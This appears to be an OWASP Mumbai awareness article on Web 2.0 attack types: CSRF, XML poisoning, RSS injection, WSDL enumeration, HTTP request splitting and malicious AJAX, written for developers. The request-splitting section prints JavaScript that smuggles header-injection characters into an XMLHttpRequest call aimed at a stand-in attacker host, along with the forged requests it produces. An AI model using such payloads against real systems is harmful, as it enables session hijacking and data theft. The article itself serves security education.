Jeopardy in Web 2.0

The Next Generation Web

Author: Dharmesh M Mehta

dharmeshmm@mastek.com

dharmeshmm@owasp.org

Table of Contents

A1 Introduction – The Next Generation Web

What on earth is Web 2.0? Web 2.0 carries a high profile and surrounding hype. Developers must surely be feeling the heat to quickly adopt the new second generation of dynamic, interactive and simple by design technologies.

Web 2.0 is the term pioneered by O'Reilly for new generation Web applications. *Live.com, start.com, Google maps, Google Docs, YouTube, Flickr,* and *MySpace* are few examples. Adaptation of this technology vector has changed the web application development approach and methodology significantly. AJAX (Asynchronous JavaScript), RIA (Rich Internet Applications) and Web Services form the core components of Web 2.0 applications.

AJAX delivers a rich user interface by displaying more dynamic content. Another common technique is Real Simple Syndications feeds (RSS), an XML based standard that allows subscribers to promote information feeds. This is most commonly used to subscribe to blogs and news articles. AJAX and Rich Internet Application (RIA) clients are enhancing client-end interfaces in the browser itself. XML is making a significant impact at both presentation and transport (HTTP/HTTPS) layers. To some extent XML is replacing HTML at the presentation layer while SOAP is becoming the XML-based transport mechanism of choice.

With Web 2.0, the functionality and experience of the sites become the primary focus, and the technology empowering the dynamic content is hidden behind the scenes to the average user. Yet the web applications underneath the polished finish remain just as complex, and add a variety of new and often unproven or unsecured technologies to the back end. Worms like Spaceflash, Yamanner and Samy are exploiting "client-side" AJAX frameworks, providing new avenues of attack and compromising confidential information. They carry remote capabilities to invoke methods over GET, POST or SOAP from the Web browser itself providing new openings to applications. On other side, RIA frameworks running on XML, Flash, Applets and JavaScripts add new possible sets of vectors. RIA, AJAX and Web services are adding new dimensions to Web application security.

Did u hear something like 'Cross Site Request Forgery' or something like 'XML Poisoning' or 'Malicious Ajax Code Execution in AJAX' recently? Well, all these terms are the modern attacks found in the new web technology. Media reports show regular coverage of the larger companies, such as MySpace suffering from a QuickTime XSS worm, Yahoo Mail recently being hit by a Yamanner worm attack, and even Google Mail has had to overcome XSS problems.

Weakness in security is not intrinsic to Ajax. Ajax can consume XML, HTML, JS Array and other customized objects using simple GET, POST or SOAP calls; all this without invoking any middleware tier. This brings in relatively seamless data exchange between an application server and a browser. Information coming from the server is injected into the current DOM context dynamically and the state of the browser's DOM gets recharged.

Most of the attacks against Web 2.0 are possible due to insecure software development practices. The need remains to understand and cultivate better security design in applications. Let us see what a developer feels while building an application.

A Developer Psychology:

Should I validate data or the third party will take care?

One of the critical factors in an application security is input and output content validation. Web 2.0 applications use bridges, mashups, feeds, etc. In many cases it is assumed that the "other party" has implemented validation and this belief leads to neither party implementing proper validation control.

How will I handle those multiple hidden calls?

Web 2.0 applications exceedingly differ from Web 1.0 in the information access mechanism. A Web 2.0 application has several endpoints for Ajax as compared to its predecessor Web 1.0. There are calls drawn all over the browser page which can be invoked by respective events. Not only does this scattering of Ajax calls makes it difficult for developers to handle, but also tends to induce poor coding practices given the fact that these calls are hidden and not easily obvious.

I always trust that feed.

The next generation applications carry information from various feeds, blogs and search engines. A developer always trusts the incoming information. This content is never validated before being echoed to the end browser. Common attack possible due to this mistake is known as Cross Site Scripting or XSS. It is possible to execute a malicious JavaScript in the browser that forces the browser to make cross-domain calls ending the genuine user in a large victim soup.

How one can use my application code against me?

Ajax calls can fetch JS array, Objects, Feeds, XML files, etc. If any of these serialization blocks can be intercepted and manipulated, the browser can be forced to execute unpleasant scripts. If developers have not taken enough precautions in placing adequate security controls, then security issues can be opened up on both the server as well as browser ends.

A2 Top Attacks against Web 2.0

A 2.1 Cross-Site Request Forgery (XSRF)

The CSRF name was given by Peter Watkins (peterw@usa.net) in a June 2001 posting to Bugtraq mailing list. The basic idea of XSRF is simple; an attacker tricks the user into performing an action by directing the victim's code on the target application using a link or other content.

For e.g. the link http://www.google.co.in/search?q=OWASP+Mumbai causes anyone who clicks on this link to search for "OWASP Mumbai". This would be harmless. However a link like below http://users.mastek.com/EditProfile?action=update&location=mumbai&value=india hints that it can be accessed by an authorized user using a cookie or browser authentication.

Links can be easily obfuscated so that they appear to go elsewhere and to hide words that might disclose their actual function. XSRF attacks effect applications that use either HTTP GET or HTTP POST. HTTP GET requests are easier to exploit.

When the browser makes this call it replays the cookie and adopts an identity. This is the key aspect of the request. If an application makes a judgment on the basis of cookies alone, this attack will succeed.

In Web 2.0 applications Ajax talks with backend Web services over SOAP or Remote Procedure Calls. It is possible to invoke them over GET and POST. In other words, it is also possible to make cross-site calls to these Web services. Doing so would end up compromising a victim's profile interfaced with Web services. XSRF is an interesting attack vector and is getting a new dimension in this newly defined endpoints scenario. These endpoints may be for Ajax or Web services but can be invoked by cross-domain requests.

There is a myth that XSRF is a special case of XSS (Cross-Site Scripting). But the fact is XSRF is a distinct vulnerability, with a different solution. XSS mitigation will not remediate XSRF attacks. Although this type of attack has similarities to XSS, cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts. Compared to XSS, CSRF attacks are not well understood by many web developers and few defense resources are available.

A 2.2 XML Poisoning

XML traffic has increased because common formats like MP3 files and Microsoft Word documents can now be sent as XML. Additionally, the fact that SOAP envelopes and WSDL files can carry embedded macros and files increases the risk of exchanging Web services messages. In Web 2.0 applications, XML traffic goes back and forth between server and browser. Web applications consume XML blocks coming from AJAX clients. It is possible to poison this XML block. Attacker can also apply recursive payloads to similar - producing XML nodes multiple times. If the engine's handling is poor this may result in a denial of services on the server.

Many attackers also produce malformed XML documents that can disrupt logic depending on parsing mechanisms in use on the server. XML schema poisoning is another XML poisoning attack vector which can change execution flow. This vulnerability can help an attacker to compromise confidential information.

A 2.3 RSS / Atom Injection

RSS feeds are common means of sharing information on portals and Web applications. These feeds allow both users and Web sites to obtain content headlines and body text without needing to visit the site, basically providing users with a summary of that sites content. Unfortunately, many of the applications that receive this data do not consider the security implications of using content from third parties and unknowingly make themselves and their attached systems susceptible to various forms of attack.

These feeds are consumed by Web applications and sent to the browser on the client-side. One can inject literal JavaScripts into the RSS feeds to generate attacks on the client browser. During the presentation phase the readers treat the data as a literal and thus execute any script contained in the feed. An end user visits this particular Web site loads the page with the RSS feed and the malicious script – a script that can install software or steal cookies – gets executed. With RSS and ATOM feeds becoming integral part of Web applications, it is important to filter out certain characters on the server-side before pushing the data out to the end user.

A 2.4 WSDL Scanning and Enumeration

WSDL (Web Services Definition Language) is an interface to Web services. Since the WSDL document includes all of the operations that are available to the consumer, it is straightforward for a hacker to run through all of the operations with different message request patterns until a breach is identified. This footprinting technique of "knocking on every door until one opens" approach is usually effective when poor programming practices are employed or simply the result of operations that were excluded from published WSDL documents yet are still up and running for some reason.

Unnecessary functions or methods kept open can cause potential disaster for Web services. It is important to protect WSDL file or provide limited access to it. In real case scenarios, it is possible to discover several vulnerabilities using WSDL scanning.

A 2.5 HTTP Request Splitting

These attacks are constrained by a single factor: the presence of a web proxy (reverse or forward). These kind of attacks are generally found in LAN or WAN. HTTP Request Splitting attack take advantage of a base implementation of asynchronous requests like XMLHttpRequest.

A HTTP Request Splitting attack essentially injects arbitrary headers when an HTTP request is built. For example:

```
var myNewRequest = new ActiveXObject("Microsoft.XMLHTTP");
myNewRequest.open
("GET\thttp://www.evilsite.com/page1.html\tHTTP/1.1\r\nHost:\twww.evilsite.com\r\nProxy-
Connection:\tKeep-Alive\r\n\r\nGET","/page2.html",false);
myNewRequest.send();
```

A JavaScript forged as in the previous code will send the following requests:

```
GET http://www.evilsite.com/page1.html HTTP/1.1
Host: www.evilsite.com
Proxy-Connection:Keep-Alive

GET /page2.html HTTP/1.1
Host: www.evilsite.com
Proxy-Connection:Keep-Alive
```

Now if there is a proxy in middle, it will see two requests asking for pages at http://www.evilsite.com and will get corresponding two responses. What happens is, from browser's perspective only one request has been sent, so the second response is simply put into the browser queue waiting to be associated to the next request.

Therefore if a user now makes a new request like http://www.mybank.com , the browser will echo the queued response instead of the original page of mybank.com. The request to www.evilsite.com/page2.html can execute a malicious JavaScript at client browser and can control a user's browsing session as well.

A 2.6 Malicious AJAX Code Execution

AJAX calls are very silent and end-users would not be able to determine whether or not the browser is making silent calls using the XMLHttpRequest object. When the browser makes an AJAX call to any Web site it replays cookies for each request.

For example, If Rita has logged in to a shopping site and has been authenticated on the server. After completing the authentication process she gets a cookie identifying her as authenticated user for all further requests. Now she browses other pages while still logged in to her shopping site and lands at an attacker's Web page. On this page the attacker has written silent AJAX code which makes backend calls to his bank without Rita's consent, fetching critical information from the pages and sends this information to the attacker's Web site. This leads to a security breach and leakage of confidential information.

A3 Conclusion

With Web 2.0 taking place, so are its security concerns. There's no ignoring the issues, and there's no boilerplate for addressing them, either. Ajax, RIA and Web Services form the core of Web 2.0 applications. With the evolution and adaptation of these technologies, new vulnerabilities also come into sight. Since Ajax is in its infancy, this is fair less of a problem than, say, buffer overflows were when they first came to light. There are not a lot of legacy Ajax applications that will need to be fixed. So, let us publicize its finding as loudly as possible now to nip the problem in the bud. Increased awareness of these vulnerabilities and using secure coding standards will help fighting against the attackers.

About the Author:

Dharmesh Mehta works as Technical Analyst in Application Security with Mastek (www.mastek.com) in Mumbai, India. He is a Certified | Ethical Hacker and is mainly involved in web security assessments and conducting application security workshops. He is also the Chapter Leader for OWASP Mumbai. He writes at http://blogs.owasp.org/dharmesh and http://smartsecurity.blogspot.com. He can be contacted at dharmeshmm@mastek.com or dharmeshmm@owasp.org.